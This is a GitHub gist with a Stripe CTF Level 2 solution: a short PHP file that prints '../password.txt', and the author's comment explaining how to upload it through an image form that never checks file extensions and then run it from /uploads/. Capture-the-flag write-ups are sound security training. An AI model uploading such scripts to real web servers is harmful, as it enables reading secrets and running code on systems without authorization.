Skip to content

Instantly share code, notes, and snippets.

@bubba-h57

bubba-h57/gist:b3bed567e380728f67ee

Created August 28, 2012 01:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bubba-h57/b3bed567e380728f67ee to your computer and use it in GitHub Desktop.
Save bubba-h57/b3bed567e380728f67ee to your computer and use it in GitHub Desktop.
Download ZIP
Stripe CTF Level 2 - Solution File Upload Vulnerability
Raw
gistfile1.php
<html>
<head>
<title>Bubba Hacks Level 2 Server</title>
</head>
<body>
<h1>Your Level 3 Password</h1>
<?php echo file_get_contents('../password.txt'); ?>
</body>
</html>
@bubba-h57
Copy link
Author

Looking at this, we have an 'uploads' directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let's try uploading a file, but not an image--a php script.

Then just browse to the /uploads/ dir and click on your uploaded php file.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment